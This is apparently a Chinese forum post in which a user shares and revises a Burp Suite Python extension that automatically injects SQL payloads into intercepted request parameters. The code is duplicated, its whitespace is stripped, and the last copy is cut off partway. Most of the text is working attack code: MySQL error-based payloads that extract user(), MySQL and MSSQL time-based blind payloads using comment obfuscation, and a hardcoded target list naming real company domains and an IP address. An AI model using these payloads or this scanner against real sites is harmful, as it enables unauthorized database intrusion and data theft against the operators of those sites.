| |||
| 拿别人的改的
现在的问题是,反应时间太慢,正常打开页面都要好几秒,甚至10秒
而且,占内存很大, <<sql_ok.py>>
取参数,不取session里面的参数 forparameterinreqParameters: parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter) ifparameterNameinreqHeaders[0].split('')[1]orparameterNameinreqBodys: parameterValue+="ischange" printparameterValue
forparameterinreqParameters: parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter) ifparameterNameinreqHeaders[0]orparameterNameinreqBodys: forsqlBlindinself.fuzzSQL.blind:
a=parameterValue+sqlBlind #returnparameterValue #printa parameterBlindSQL.append([parameterName,a,parameterType]) else: parameterBlindSQL.append([parameterName,parameterValue,parameterType])
这个可以解决不检测cookie里面的参数问题
终于好了,2.0版本 #-*-coding:utf-8-*- #!/usr/bin/envpython #author:xiaodong #支持mysql的报错注入和延时注入,mssql的延时注入检测 #如果需要,可以把注释掉的sql检测语句也加入到检测里 #bool类型检测自己手动检测就行,无需脚本 from__future__importwith_statement fromburpimportIBurpExtender fromburpimportIHttpListener fromburpimportIHttpRequestResponse fromburpimportIResponseInfo fromburpimportIRequestInfo fromburpimportIHttpService
importre importtime importthreading importsys reload(sys) sys.setdefaultencoding('UTF-8') SLEEP_TIME=3
saveFile=r'H:\2.py\py_self\py3\project\burpExtend\sql.txt' print"SQL_inject\nauthor:xiaodong"
classFuzzSQL: def__init__(self):
#单引号,双引号,宽字节+单引号,宽字节+双引号,反斜杠,负数,特殊字符,and,or,xor探测是否存在注入!!! self.error=["'",'"','\\','%df%27','%df%22', '/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+', "'/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+", '"/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+'
#'/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+', #"'/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+", #'"/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+', # #'/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+', #"'/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+", #'"/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+', # #'/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+', #"'/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+", #'"/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+', # #'/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+', #'"/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+', #"'/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+" ]
self.blind=['/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23'.format(SLEEP_TIME), "'/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23".format(SLEEP_TIME), '"/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23'.format(SLEEP_TIME),
#'/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+', #"'/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+", #'"/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+',
'/***/WAITFOR/***/DELAY/***/"0:0:{}"--+'.format(SLEEP_TIME), "'/***/WAITFOR/***/DELAY/***/'0:0:{}'--+".format(SLEEP_TIME), '"/***/WAITFOR/***/DELAY/***/"0:0:{}"--+'.format(SLEEP_TIME)
#';WAITFOR/***/DELAY/***/"0:0:10"--+', #"';WAITFOR/***/DELAY/***/'0:0:10'--+", #'";WAITFOR/***/DELAY/***/"0:0:10"--+', # #');WAITFOR/***/DELAY/***/"0:0:10"--+', #"');WAITFOR/***/DELAY/***/'0:0:10'--+", #'");WAITFOR/***/DELAY/***/"0:0:10"--+' ]
#报错注入的特征 self.errorFlag=re.compile(r'.*(SQLsyntax|Warning|mysql_error|\^\^\^).*')
classBurpExtender(IBurpExtender,IHttpListener): globalurls urls=[] defregisterExtenderCallbacks(self,callbacks):
self._callbacks=callbacks
#用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。 self._helpers=callbacks.getHelpers()
#用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name-扩展名。。 self._callbacks.setExtensionName("SQLInject")
#用于注册侦听器,该侦听器将通知任何Burp工具发出的请求和响应。扩展可以通过注册HTTP侦听器来执行自定义分析或修改这些消息。参数:listener-实现IHttpListener接口的扩展创建的对象。 callbacks.registerHttpListener(self)
self.fuzzSQL=FuzzSQL()
#获取请求的url defget_request_url(self,protocol,reqHeaders): link=reqHeaders[0].split('')[1] host=reqHeaders[1].split('')[1] returnprotocol+'://'+host+link
#保存结果 defsave(self,content): printcontent f=open(saveFile,'at') f.writelines(content+'\n\n') f.close()
#获取请求的一些信息:请求头,请求内容,请求方法,请求参数 defget_request_info(self,request): analyzedRequest=self._helpers.analyzeRequest( request)#analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象 reqHeaders=analyzedRequest.getHeaders()#用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。 reqBodys=request[analyzedRequest.getBodyOffset():].tostring()#获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。 reqMethod=analyzedRequest.getMethod()#获取请求方法 reqParameters=analyzedRequest.getParameters() returnanalyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters
#获取响应的一些信息:响应头,响应内容,响应状态码 defget_response_info(self,response): analyzedResponse=self._helpers.analyzeResponse( response)#analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。 resHeaders=analyzedResponse.getHeaders()#getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。 resBodys=response[ analyzedResponse.getBodyOffset():].tostring()#getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容 resStatusCode=analyzedResponse.getStatusCode()#getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。 returnresHeaders,resBodys,resStatusCode
#获取服务端的信息,主机地址,端口,协议 defget_server_info(self,httpService): host=httpService.getHost() port=httpService.getPort() protocol=httpService.getProtocol() ishttps=False ifprotocol=='https': ishttps=True returnhost,port,protocol,ishttps
#获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用) defget_parameter_Name_Value_Type(self,parameter): parameterName=parameter.getName() parameterValue=parameter.getValue() parameterType=parameter.getType() returnparameterName,parameterValue,parameterType
#检查是否存在报错注入 defcheck_error_inject(self,request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType): thread_id=threading.current_thread().ident #print'['+str(thread_id)+']'+parameterValueSQL #构造参数 newParameter=self._helpers.buildParameter(parameterName,parameterValueSQL,parameterType) #printnewParameter #更新参数,并发送请求 newRequest=self._helpers.updateParameter(request,newParameter) newAnalyzedRequest,newReqHeaders,newReqBodys,newReqMethod,newReqParameters=self.get_request_info( newRequest)
#新的响应 newResponse=self._callbacks.makeHttpRequest(host,port,ishttps,newRequest) newResHeaders,newResBodys,newResStatusCode=self.get_response_info(newResponse)
#判断是否存在报错注入的特征 errorInject=self.fuzzSQL.errorFlag.findall(newResBodys)
iferrorInject: #获取请求的url newReqUrl=self.get_request_url(protocol,newReqHeaders) content='[+]{}->{}\n[Headers]->{}\n[Bodys]->{}'.format('[Error]',errorInject,newReqUrl,newReqHeaders,newReqBodys) printcontent #self.save(content) print'-'*50
#检测是否存在延时注入 defcheck_blind_inject(self,request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType): thread_id=threading.current_thread().ident #print'['+str(thread_id)+']'+parameterValueSQL #构造参数 newParameter=self._helpers.buildParameter(parameterName,parameterValueSQL,parameterType) #printnewParameter #起始时间 startTime=time.time() #更新参数,并发送请求 newRequest=self._helpers.updateParameter(request,newParameter)
newAnalyzedRequest,newReqHeaders,newReqBodys,newReqMethod,newReqParameters=self.get_request_info( newRequest)
#新的响应 newResponse=self._callbacks.makeHttpRequest(host,port,ishttps,newRequest) newResHeaders,newResBodys,newResStatusCode=self.get_response_info(newResponse)
endTime=time.time() sleepTime=endTime-startTime #printsleepTime #判断是否延时 ifsleepTime>=SLEEP_TIME: #获取请求的url newReqUrl=self.get_request_url(protocol,newReqHeaders) content='[+]{}->{}\n[Headers]->{}\n[Bodys]->{}'.format('[Blind]',newReqUrl,newReqHeaders,newReqBodys) printcontent self.save(content) print'-'*50
#每次burp发送请求时,都会调用该方法 defprocessHttpMessage(self,toolFlag,messageIsRequest,messageInfo): ''' :paramtoolFlag:一个标志,指示发出请求的Burp工具。Burp工具标志在IBurpExtenderCallbacks界面中定义 :parammessageIsRequest:标记是否为请求或响应调用方法。 :parammessageInfo:要处理的请求/响应的详细信息。扩展可以调用此对象上的setter方法来更新当前消息,从而修改Burp的行为。 :return: '''
#Proxy和Repeater触发插件 iftoolFlag==64ortoolFlag==16ortoolFlag==8ortoolFlag==4:
#处理响应内容 ifnotmessageIsRequest:
#获取请求包的数据 request=messageInfo.getRequest() analyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters=self.get_request_info(request)
#获取响应包的数据 #response=messageInfo.getResponse()#getResponse方法用于检索请求消息。返回:响应消息。 #resHeaders,resBodys,resStatusCode=self.get_response_info(response)
#获取服务信息 httpService=messageInfo.getHttpService() host,port,protocol,ishttps=self.get_server_info(httpService)
#获取请求的url #reqUrl=self.get_request_url(protocol,reqHeaders)
#ifreqMethod=='GET': iflen(host.split('.')[-2])!=3: host_exp=host.split('.')[-2]+'.'+host.split('.')[-1] else: host_exp=host.split('.')[-3]+'.'+host.split('.')[-2]+'.'+host.split('.')[-1] #printhost_exp #获取请求的url #reqUrl=self.get_request_url(protocol,reqHeaders) url=str(host)+reqHeaders[0].split('')[1]+str(reqBodys) #printurl #ifreqMethod=='GET': target_host=['saicmotor.com','saicmaxus.com',''] target_ip=['149.28.232.77'] ifurlnotinurls: #printurl urls.append(url) ifhost_expintarget_hostorhostintarget_ip: ifreqHeaders[0].split('')[1].endswith('.js')orreqHeaders[0].split('')[1].endswith('.css')orreqHeaders[0].split('')[1].endswith('.jpg')orreqHeaders[0].split('')[1].endswith('.png')orreqHeaders[0].split('')[1].endswith('.gif')orreqHeaders[0].split('')[1].endswith('.woff?'): #print"staticsource" pass
else: error_threads=[] parameterErrorSQL=[]#报错语句列表 forparameterinreqParameters: parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter) ifparameterNameinreqHeaders[0]orparameterNameinreqBodys: forsqlErrorinself.fuzzSQL.error:
a=parameterValue+sqlError #returnparameterValue #printa parameterErrorSQL.append([parameterName,a,parameterType]) else: parameterErrorSQL.append([parameterName,parameterValue,parameterType]) forsqlErrorinparameterErrorSQL: parameterName,parameterValueSQL,parameterType=sqlError t=threading.Thread(target=self.check_error_inject,args=(request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType)) error_threads.append(t) t.start() fortinerror_threads: t.join()
#多线程遍历每个延时注入 blind_threads=[] parameterBlindSQL=[] forparameterinreqParameters: parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter) ifparameterNameinreqHeaders[0]orparameterNameinreqBodys:#如果参数在url或body里面,则增加sql注入语句 forsqlBlindinself.fuzzSQL.blind:
a=parameterValue+sqlBlind #returnparameterValue #printa parameterBlindSQL.append([parameterName,a,parameterType]) else: parameterBlindSQL.append([parameterName,parameterValue,parameterType])
forsqlBlindinparameterBlindSQL: parameterName,parameterValueSQL,parameterType=sqlBlind t=threading.Thread(target=self.check_blind_inject,args=(request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType)) blind_threads.append(t) t.start() fortinblind_threads: t.join()
else: print"isarepeaturl"
问题,还是会比较卡,参数多的页面要七八秒。。。。 #-*-coding:utf-8-*- #!/usr/bin/envpython #author:xiaodong #支持mysql的报错注入和延时注入,mssql的延时注入检测 #如果需要,可以把注释掉的sql检测语句也加入到检测里 #bool类型检测自己手动检测就行,无需脚本 from__future__importwith_statement fromburpimportIBurpExtender fromburpimportIHttpListener fromburpimportIHttpRequestResponse fromburpimportIResponseInfo fromburpimportIRequestInfo fromburpimportIHttpService
importre importtime importthreading importsys reload(sys) sys.setdefaultencoding('UTF-8') SLEEP_TIME=3
saveFile=r'H:\2.py\py_self\py3\project\burpExtend\sql.txt' print"SQL_inject\nauthor:xiaodong"
classFuzzSQL: def__init__(self):
#单引号,双引号,宽字节+单引号,宽字节+双引号,反斜杠,负数,特殊字符,and,or,xor探测是否存在注入!!! self.error=["'",'"','\\','%df%27','%df%22', '/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+', "'/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+", '"/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+'
#'/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+', #"'/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+", #'"/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+', # #'/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+', #"'/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+", #'"/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+', # #'/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+', #"'/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+", #'"/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+', # #'/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+', #'"/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+', #"'/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+" ]
self.blind=['/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23'.format(SLEEP_TIME), "'/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23".format(SLEEP_TIME), '"/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23'.format(SLEEP_TIME),
#'/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+', #"'/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+", #'"/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+',
'/***/WAITFOR/***/DELAY/***/"0:0:{}"--+'.format(SLEEP_TIME), "'/***/WAITFOR/***/DELAY/***/'0:0:{}'--+".format(SLEEP_TIME), '"/***/WAITFOR/***/DELAY/***/"0:0:{}"--+'.format(SLEEP_TIME)
#';WAITFOR/***/DELAY/***/"0:0:10"--+', #"';WAITFOR/***/DELAY/***/'0:0:10'--+", #'";WAITFOR/***/DELAY/***/"0:0:10"--+', # #');WAITFOR/***/DELAY/***/"0:0:10"--+', #"');WAITFOR/***/DELAY/***/'0:0:10'--+", #'");WAITFOR/***/DELAY/***/"0:0:10"--+' ]
#报错注入的特征 self.errorFlag=re.compile(r'.*(SQLsyntax|Warning|mysql_error|\^\^\^).*')
classBurpExtender(IBurpExtender,IHttpListener): globalurls urls=[] defregisterExtenderCallbacks(self,callbacks):
self._callbacks=callbacks
#用于获取IExtensionHelpers对象,扩展可以使用该对象执行许多有用的任务。返回:包含许多帮助器方法的对象,用于构建和分析HTTP请求等任务。 self._helpers=callbacks.getHelpers()
#用于设置当前扩展的显示名称,该名称将显示在Extender工具的用户界面中。参数:name-扩展名。。 self._callbacks.setExtensionName("SQLInject")
#用于注册侦听器,该侦听器将通知任何Burp工具发出的请求和响应。扩展可以通过注册HTTP侦听器来执行自定义分析或修改这些消息。参数:listener-实现IHttpListener接口的扩展创建的对象。 callbacks.registerHttpListener(self)
self.fuzzSQL=FuzzSQL()
#获取请求的url defget_request_url(self,protocol,reqHeaders): link=reqHeaders[0].split('')[1] host=reqHeaders[1].split('')[1] returnprotocol+'://'+host+link
#保存结果 defsave(self,content): printcontent f=open(saveFile,'at') f.writelines(content+'\n\n') f.close()
#获取请求的一些信息:请求头,请求内容,请求方法,请求参数 defget_request_info(self,request): analyzedRequest=self._helpers.analyzeRequest( request)#analyzeRequest用于分析HTTP请求,并获取有关它的各种关键详细信息。生成的IRequestInfo对象 reqHeaders=analyzedRequest.getHeaders()#用于获取请求中包含的HTTP头。返回:请求中包含的HTTP标头。 reqBodys=request[analyzedRequest.getBodyOffset():].tostring()#获取消息正文开始的请求中的偏移量。返回:消息正文开始的请求中的偏移量。 reqMethod=analyzedRequest.getMethod()#获取请求方法 reqParameters=analyzedRequest.getParameters() returnanalyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters
#获取响应的一些信息:响应头,响应内容,响应状态码 defget_response_info(self,response): analyzedResponse=self._helpers.analyzeResponse( response)#analyzeResponse方法可用于分析HTTP响应,并获取有关它的各种关键详细信息。返回:IResponseInfo可以查询的对象以获取有关响应的详细信息。 resHeaders=analyzedResponse.getHeaders()#getHeaders方法用于获取响应中包含的HTTP标头。返回:响应中包含的HTTP标头。 resBodys=response[ analyzedResponse.getBodyOffset():].tostring()#getBodyOffset方法用于获取消息正文开始的响应中的偏移量。返回:消息正文开始的响应中的偏移量。response[analyzedResponse.getBodyOffset():]获取正文内容 resStatusCode=analyzedResponse.getStatusCode()#getStatusCode获取响应中包含的HTTP状态代码。返回:响应中包含的HTTP状态代码。 returnresHeaders,resBodys,resStatusCode
#获取服务端的信息,主机地址,端口,协议 defget_server_info(self,httpService): host=httpService.getHost() port=httpService.getPort() protocol=httpService.getProtocol() ishttps=False ifprotocol=='https': ishttps=True returnhost,port,protocol,ishttps
#获取请求的参数名、参数值、参数类型(get、post、cookie->用来构造参数时使用) defget_parameter_Name_Value_Type(self,parameter): parameterName=parameter.getName() parameterValue=parameter.getValue() parameterType=parameter.getType() returnparameterName,parameterValue,parameterType
#检查是否存在报错注入 defcheck_error_inject(self,request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType): thread_id=threading.current_thread().ident #print'['+str(thread_id)+']'+parameterValueSQL #构造参数 newParameter=self._helpers.buildParameter(parameterName,parameterValueSQL,parameterType) #printnewParameter #更新参数,并发送请求 newRequest=self._helpers.updateParameter(request,newParameter) newAnalyzedRequest,newReqHeaders,newReqBodys,newReqMethod,newReqParameters=self.get_request_info( newRequest)
#新的响应 newResponse=self._callbacks.makeHttpRequest(host,port,ishttps,newRequest) newResHeaders,newResBodys,newResStatusCode=self.get_response_info(newResponse)
#判断是否存在报错注入的特征 errorInject=self.fuzzSQL.errorFlag.findall(newResBodys)
iferrorInject: #获取请求的url newReqUrl=self.get_request_url(protocol,newReqHeaders) content='[+]{}->{}\n[Headers]->{}\n[Bodys]->{}'.format('[Error]',errorInject,newReqUrl,newReqHeaders,newReqBodys) printcontent #self.save(content) print'-'*50
#检测是否存在延时注入 defcheck_blind_inject(self,request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType): thread_id=threading.current_thread().ident #print'['+str(thread_id)+']'+parameterValueSQL #构造参数 newParameter=self._helpers.buildParameter(parameterName,parameterValueSQL,parameterType) #printnewParameter #起始时间 startTime=time.time() #更新参数,并发送请求 newRequest=self._helpers.updateParameter(request,newParameter)
newAnalyzedRequest,newReqHeaders,newReqBodys,newReqMethod,newReqParameters=self.get_request_info( newRequest)
#新的响应 newResponse=self._callbacks.makeHttpRequest(host,port,ishttps,newRequest) newResHeaders,newResBodys,newResStatusCode=self.get_response_info(newResponse)
endTime=time.time() sleepTime=endTime-startTime #printsleepTime #判断是否延时 ifsleepTime>=SLEEP_TIME: #获取请求的url newReqUrl=self.get_request_url(protocol,newReqHeaders) content='[+]{}->{}\n[Headers]->{}\n[Bodys]->{}'.format('[Blind]',newReqUrl,newReqHeaders,newReqBodys) printcontent self.save(content) print'-'*50
#每次burp发送请求时,都会调用该方法 defprocessHttpMessage(self,toolFlag,messageIsRequest,messageInfo): ''' :paramtoolFlag:一个标志,指示发出请求的Burp工具。Burp工具标志在IBurpExtenderCallbacks界面中定义 :parammessageIsRequest:标记是否为请求或响应调用方法。 :parammessageInfo:要处理的请求/响应的详细信息。扩展可以调用此对象上的setter方法来更新当前消息,从而修改Burp的行为。 :return: '''
#Proxy和Repeater触发插件 iftoolFlag==64ortoolFlag==16ortoolFlag==8ortoolFlag==4:
#处理响应内容 ifnotmessageIsRequest:
#获取请求包的数据 request=messageInfo.getRequest() analyzedRequest,reqHeaders,reqBodys,reqMethod,reqParameters=self.get_request_info(request)
#获取响应包的数据 #response=messageInfo.getResponse()#getResponse方法用于检索请求消息。返回:响应消息。 #resHeaders,resBodys,resStatusCode=self.get_response_info(response)
#获取服务信息 httpService=messageInfo.getHttpService() host,port,protocol,ishttps=self.get_server_info(httpService)
#获取请求的url #reqUrl=self.get_request_url(protocol,reqHeaders)
#ifreqMethod=='GET': iflen(host.split('.')[-2])!=3: host_exp=host.split('.')[-2]+'.'+host.split('.')[-1] else: host_exp=host.split('.')[-3]+'.'+host.split('.')[-2]+'.'+host.split('.')[-1] #printhost_exp #获取请求的url #reqUrl=self.get_request_url(protocol,reqHeaders) url=str(host)+reqHeaders[0].split('')[1]+str(reqBodys) #printurl #ifreqMethod=='GET': target_host=['saicmotor.com','saicmaxus.com',''] target_ip=['149.28.232.77'] ifurlnotinurls: #printurl urls.append(url) ifhost_expintarget_hostorhostintarget_ip: ifreqHeaders[0].split('')[1].endswith('.js')orreqHeaders[0].split('')[1].endswith('.css')orreqHeaders[0].split('')[1].endswith('.jpg')orreqHeaders[0].split('')[1].endswith('.png')orreqHeaders[0].split('')[1].endswith('.gif')orreqHeaders[0].split('')[1].endswith('.woff?'): #print"staticsource" pass
else: error_threads=[] parameterErrorSQL=[]#报错语句列表 forparameterinreqParameters: parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter) ifparameterNameinreqHeaders[0]orparameterNameinreqBodys: forsqlErrorinself.fuzzSQL.error:
a=parameterValue+sqlError #returnparameterValue #printa parameterErrorSQL.append([parameterName,a,parameterType]) else: parameterErrorSQL.append([parameterName,parameterValue,parameterType]) forsqlErrorinparameterErrorSQL: parameterName,parameterValueSQL,parameterType=sqlError t=threading.Thread(target=self.check_error_inject,args=(request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType)) error_threads.append(t) t.start() fortinerror_threads: t.join()
#多线程遍历每个延时注入 blind_threads=[] parameterBlindSQL=[] forparameterinreqParameters: parameterName,parameterValue,parameterType=self.get_parameter_Name_Value_Type(parameter) ifparameterNameinreqHeaders[0]orparameterNameinreqBodys:#如果参数在url或body里面,则增加sql注入语句 forsqlBlindinself.fuzzSQL.blind:
a=parameterValue+sqlBlind #returnparameterValue #printa parameterBlindSQL.append([parameterName,a,parameterType]) else: parameterBlindSQL.append([parameterName,parameterValue,parameterType])
forsqlBlindinparameterBlindSQL: parameterName,parameterValueSQL,parameterType=sqlBlind t=threading.Thread(target=self.check_blind_inject,args=(request,protocol,host,port,ishttps,parameterName,parameterValueSQL,parameterType)) blind_threads.append(t) t.start() fortinblind_threads: t.join()
else: print"isarepeaturl"
<<sql_inject.py>>
| #-*-coding:utf-8-*- #!/usr/bin/envpython #author:ske #支持mysql的报错注入和延时注入,mssql的延时注入检测 #如果需要,可以把注释掉的sql检测语句也加入到检测里 #bool类型检测自己手动检测就行,无需脚本 from__future__importwith_statement fromburpimportIBurpExtender fromburpimportIHttpListener fromburpimportIHttpRequestResponse fromburpimportIResponseInfo fromburpimportIRequestInfo fromburpimportIHttpService
importre importtime importthreading importsys reload(sys) sys.setdefaultencoding('UTF-8') SLEEP_TIME=3
saveFile=r'H:\2.py\py_self\py3\project\burpExtend\sql.txt' print"checkSQL\nauthor:ske"
classFuzzSQL: def__init__(self):
#单引号,双引号,宽字节+单引号,宽字节+双引号,反斜杠,负数,特殊字符,and,or,xor探测是否存在注入!!! self.error=["'",'"','\\','%df%27','%df%22', '/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+', "'/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+", '"/***/and/***/(select/***/1/***/from(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.character_sets/***/group/***/by/***/x)a)--+'
#'/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+', #"'/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+", #'"/***/and/***/(select/***/1/***/from/***/(select/***/count(*),concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))b/***/from/***/information_schema.tables/***/group/***/by/***/b)a)--+', # #'/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+', #"'/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+", #'"/***/union/***/select/***/count(*),1,concat(0x5e5e5e,user(),0x5e5e5e,floor(rand(0)*2))x/***/from/***/information_schema.tables/***/group/***/by/***/x/***/--+', # #'/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+', #"'/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+", #'"/***/and/***/(updatexml(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e),1))--+', # #'/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+', #'"/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+', #"'/***/and/***/(extractvalue(1,concat(0x5e5e5e,(select/***/user()),0x5e5e5e)))--+" ]
self.blind=['/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23'.format(SLEEP_TIME), "'/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23".format(SLEEP_TIME), '"/***/and/***/sleep(/***/if(/***/(select/***/length(database())/***/>0)/***/,/***/{},/***/0/***/)/***/)%23'.format(SLEEP_TIME),
#'/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+', #"'/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+", #'"/***/and/***/If(ascii(substr(database(),1,1))=1,1,sleep(10))--+',
